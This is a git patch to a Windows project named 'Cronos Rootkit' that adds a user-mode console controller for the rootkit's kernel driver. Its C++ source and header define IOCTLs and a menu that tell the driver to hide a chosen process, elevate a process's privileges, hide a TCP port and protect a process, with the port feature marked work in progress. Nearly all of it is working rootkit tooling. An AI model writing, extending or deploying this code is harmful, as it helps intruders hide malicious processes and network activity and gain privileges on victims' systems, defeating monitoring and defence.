From f2b8b57c9432e79a9a280c7d25b55ae89359e175 Mon Sep 17 00:00:00 2001 From: Administrator Date: Thu, 9 Sep 2021 11:30:23 +0200 Subject: [PATCH] Added user level driver controller. --- Cronos Rootkit.sln | 14 ++ Cronos Rootkit/Cronos Rootkit.vcxproj | 2 + CronosDebugger/CronosDebugger.vcxproj | 151 +++++++++++++ CronosDebugger/CronosDebugger.vcxproj.filters | 27 +++ CronosDebugger/Header.h | 20 ++ CronosDebugger/Source.cpp | 206 ++++++++++++++++++ 6 files changed, 420 insertions(+) create mode 100644 CronosDebugger/CronosDebugger.vcxproj create mode 100644 CronosDebugger/CronosDebugger.vcxproj.filters create mode 100644 CronosDebugger/Header.h create mode 100644 CronosDebugger/Source.cpp diff --git a/Cronos Rootkit.sln b/Cronos Rootkit.sln index afa0089..78a80ad 100644 --- a/Cronos Rootkit.sln +++ b/Cronos Rootkit.sln @@ -5,6 +5,8 @@ VisualStudioVersion = 16.0.31515.178 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Cronos Rootkit", "Cronos Rootkit\Cronos Rootkit.vcxproj", "{05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CronosDebugger", "CronosDebugger\CronosDebugger.vcxproj", "{940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|ARM = Debug|ARM @@ -41,6 +43,18 @@ Global {05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}.Release|x86.ActiveCfg = Release|Win32 {05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}.Release|x86.Build.0 = Release|Win32 {05B4EB7F-3D59-4E6A-A7BC-7C1241578CA7}.Release|x86.Deploy.0 = Release|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|ARM.ActiveCfg = Debug|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|ARM64.ActiveCfg = Debug|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x64.ActiveCfg = Debug|x64 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x64.Build.0 = Debug|x64 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x86.ActiveCfg = Debug|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Debug|x86.Build.0 = Debug|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|ARM.ActiveCfg = Release|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|ARM64.ActiveCfg = Release|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x64.ActiveCfg = Release|x64 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x64.Build.0 = Release|x64 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x86.ActiveCfg = Release|Win32 + {940B1177-2B8C-48A2-A8E7-BF4E8E80C60F}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/Cronos Rootkit/Cronos Rootkit.vcxproj b/Cronos Rootkit/Cronos Rootkit.vcxproj index 91ffa68..b7a0c39 100644 --- a/Cronos Rootkit/Cronos Rootkit.vcxproj +++ b/Cronos Rootkit/Cronos Rootkit.vcxproj @@ -42,6 +42,7 @@ Debug Win32 Cronos_Rootkit + $(LatestTargetPlatformVersion) @@ -117,6 +118,7 @@ DbgengKernelDebugger + Cronos DbgengKernelDebugger diff --git a/CronosDebugger/CronosDebugger.vcxproj b/CronosDebugger/CronosDebugger.vcxproj new file mode 100644 index 0000000..f2cb6e7 --- /dev/null +++ b/CronosDebugger/CronosDebugger.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {940b1177-2b8c-48a2-a8e7-bf4e8e80c60f} + CronosDebugger + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + cdbg + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/CronosDebugger/CronosDebugger.vcxproj.filters b/CronosDebugger/CronosDebugger.vcxproj.filters new file mode 100644 index 0000000..25c729c --- /dev/null +++ b/CronosDebugger/CronosDebugger.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/CronosDebugger/Header.h b/CronosDebugger/Header.h new file mode 100644 index 0000000..8a5628a --- /dev/null +++ b/CronosDebugger/Header.h @@ -0,0 +1,20 @@ +#include +#include + +#define IOCTL_HIDEPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0001, METHOD_NEITHER, FILE_SPECIAL_ACCESS) +#define IOCTL_ELEVATEME CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0002, METHOD_NEITHER, FILE_SPECIAL_ACCESS) +#define IOCTL_HIDETCP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0003, METHOD_NEITHER, FILE_SPECIAL_ACCESS) +#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0004, METHOD_NEITHER, FILE_SPECIAL_ACCESS) +#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 + +struct HideProcData { + ULONG TargetPID; +}; + +struct ElevateData { + ULONG TargetPID; +}; + +struct HideTcpData { + ULONG Port; +}; \ No newline at end of file diff --git a/CronosDebugger/Source.cpp b/CronosDebugger/Source.cpp new file mode 100644 index 0000000..687b595 --- /dev/null +++ b/CronosDebugger/Source.cpp @@ -0,0 +1,206 @@ +#include "Header.h" +#include +#include + +void InitHP(); +void InitElevate(); +void InitHPort(); +void InitProtProc(); + +int main() +{ + int option; + while (TRUE) + { + printf(" \n"); + printf(" - Cronos rootkit debugger - \n"); + printf("1. Hide process\n"); + printf("2. Elevate process\n"); + printf("3. Hide port\n"); + printf("4. Protect process\n"); + printf("0. Close program\n"); + printf("Option: "); + std::cin >> option; + + if (option > 4) + { + printf("\nWrong option (Choose from 0 - 3)\n"); + system("cls"); + } + else + { + switch (option) + { + case 0: + return 0; + break; + + case 1: + InitHP(); + break; + + case 2: + InitElevate(); + break; + + case 3: + InitHPort(); + break; + + case 4: + InitProtProc(); + break; + + default: + break; + } + } + } +} + +BOOL IsProcessRunning(int pid) +{ + HANDLE processCheck = OpenProcess(SYNCHRONIZE, FALSE, pid); + DWORD ret = WaitForSingleObject(processCheck, 0); + CloseHandle(processCheck); + return ret == WAIT_TIMEOUT; +} + +void InitHP() +{ + system("cls"); + printf("[+] Opening handle to driver\n"); + DWORD pid, write; + + HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) + { + printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError()); + return; + } + + while (TRUE) + { + printf("[?] Set process PID to hide: "); + std::cin >> pid; + if (IsProcessRunning(pid)) + break; + + printf("\n[-] Process does not exist.\n"); + } + + printf("\n[+] Writing data to driver...\n"); + HideProcData data; + data.TargetPID = pid; + + DWORD returned; + BOOL success = DeviceIoControl(hDevice, IOCTL_HIDEPROC, &data, sizeof(data), nullptr, 0, &returned, nullptr); + if (success) + printf("[!] Process has been hidden!\n"); + else + printf("[-] Failed to hide processes\n"); +} + +void InitElevate() +{ + system("cls"); + printf("[+] Opening handle to driver\n"); + DWORD pid; + + HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) + { + printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError()); + return; + } + + while (TRUE) + { + printf("[?] Set process PID to elevate: "); + std::cin >> pid; + if (IsProcessRunning(pid)) + break; + + printf("\n[-] Process does not exist.\n"); + } + + printf("\n[+] Writing data to driver...\n"); + ElevateData data; + data.TargetPID = pid; + + printf("[+] Got target PID: %d\n", data.TargetPID); + DWORD returned; + BOOL success = DeviceIoControl(hDevice, IOCTL_ELEVATEME, &data, sizeof(data), nullptr, 0, &returned, nullptr); + if (success) + printf("[!] Process has been elevated!\n"); + else + printf("[-] Failed to elevate process\n"); +} + +//Work in progress +void InitHPort() +{ + system("cls"); + printf("[+] Opening handle to driver\n"); + DWORD port, write; + + HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) + { + printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError()); + return; + } + + printf("[?] Set TCP port to hide: "); + std::cin >> port; + + printf("\n[+] Writing data to driver...\n"); + HideTcpData data; + data.Port = port; + + printf("[+] Hiding port: %d\n", data.Port); + DWORD returned; + BOOL success = DeviceIoControl(hDevice, IOCTL_HIDETCP, &data, sizeof(data), nullptr, 0, &returned, nullptr); + if (success) + printf("[!] Port has been hidden\n"); + else + printf("[-] Failed to hide port\n"); +} + +void InitProtProc() +{ + system("cls"); + + printf("[!] Process will be also elevated!\n"); + printf("[+] Opening handle to driver\n"); + DWORD pid; + + HANDLE hDevice = CreateFile(L"\\\\.\\Cronos", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) + { + printf("[-] Couldn't open handle to device (%d). Check if driver is loaded correctly.\n", GetLastError()); + return; + } + + while (TRUE) + { + printf("[?] Set process PID to hide: "); + std::cin >> pid; + if (IsProcessRunning(pid)) + break; + + printf("\n[-] Process does not exist.\n"); + } + + printf("\n[+] Writing data to driver...\n"); + ElevateData data; + data.TargetPID = pid; + + printf("[+] Got target PID: %d\n", data.TargetPID); + DWORD returned; + BOOL success = DeviceIoControl(hDevice, IOCTL_PROTECT, &data, sizeof(data), nullptr, 0, &returned, nullptr); + if (success) + printf("[!] Process has been protected!\n"); + else + printf("[-] Failed to protect process\n"); +} \ No newline at end of file